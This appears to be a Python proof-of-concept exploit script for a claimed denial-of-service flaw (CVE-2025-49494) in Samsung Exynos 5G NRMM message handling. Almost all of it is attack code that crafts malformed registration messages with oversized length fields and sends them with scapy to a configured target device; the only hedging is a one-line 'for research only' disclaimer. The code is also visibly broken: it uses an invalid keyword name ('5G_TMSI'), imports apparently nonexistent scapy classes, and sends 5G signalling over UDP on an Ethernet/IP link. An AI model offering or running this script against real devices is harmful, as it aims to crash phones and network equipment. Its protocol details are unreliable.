# CVE-2025-49494 PoC - 5G NRMM Malformed Packet DoS
# This PoC demonstrates sending a malformed NRMM message to trigger the vulnerability
# Requires: Python 3.8+, scapy, numpy, scipy
from scapy.all import *
from scapy.contrib.etsi5g import *
import struct
def create_malformed_nrmm_pdu():
"""
Create a malformed 5G NRMM message that triggers the vulnerability.
The vulnerability exists in NRMM packet handling where length fields
are not properly validated before processing.
"""
# Create NRMM header with invalid length field
nrmm_pdu = bytes([
0x00, 0x01, # Message Type: Registration Request
0x00, 0x00, 0x00, 0x00, # 5GMM Cause (invalid)
0x00, 0xFF, # MALFORMED: Invalid TLV length (exceeds packet size)
])
# Add additional malformed TLVs to trigger parsing error
nrmm_pdu += bytes([0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
return nrmm_pdu
def send_malformed_packet(target_mac, target_ip, interface='eth0'):
"""
Send malformed NRMM packet to target device.
Args:
target_mac: MAC address of the target device
target_ip: IP address of the target (usually in cellular network range)
interface: Network interface to use
"""
malformed_data = create_malformed_nrmm_pdu()
# Create packet with custom NRMM payload
pkt = Ether(dst=target_mac)/IP(dst=target_ip)/UDP(sport=38412, dport=38412)/malformed_data
print(f"[*] Sending malformed NRMM packet ({len(malformed_data)} bytes)")
print(f"[*] Target: {target_ip}")
sendp(pkt, iface=interface, verbose=1)
print("[+] Packet sent successfully")
def create_etsi5g_nrmm_exploit():
"""
Alternative: Create ETSI 5G NAS message with malformed MM parameters.
Uses scapy's ETSI 5G module for proper protocol structure.
"""
# Create 5GMM registration request with invalid IE
nas_msg = NAS5GMessage(
protocol_discriminator=0x7E,
message_type=0x41, # Registration Request
)
# Add malformed Information Elements
ie_list = [
# Invalid 5G GUTI with wrong length
IE5G_GUTI(mcc='001', mnc='01', amf_region_id=0x01,
amf_set_id=0x001, amf_pointer=0x01,
5G_TMSI=0x12345678),
]
return bytes(nas_msg) + bytes(IE5G_MM_Cause(cause=0x00)) + bytes([0xFF, 0x00, 0x00])
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-49494 PoC - Samsung Exynos 5G NRMM DoS")
print("=" * 60)
print("[!] This PoC is for educational and security research purposes only")
print("[!] Unauthorized use against systems you don't own is illegal")
print()
# Configuration - modify these for your test environment
TARGET_MAC = "aa:bb:cc:dd:ee:ff" # Target device MAC
TARGET_IP = "192.168.1.100" # Target IP in cellular network
INTERFACE = "eth0" # Network interface
try:
send_malformed_packet(TARGET_MAC, TARGET_IP, INTERFACE)
except Exception as e:
print(f"[-] Error: {e}")
print("[*] Note: Requires root privileges and proper network access")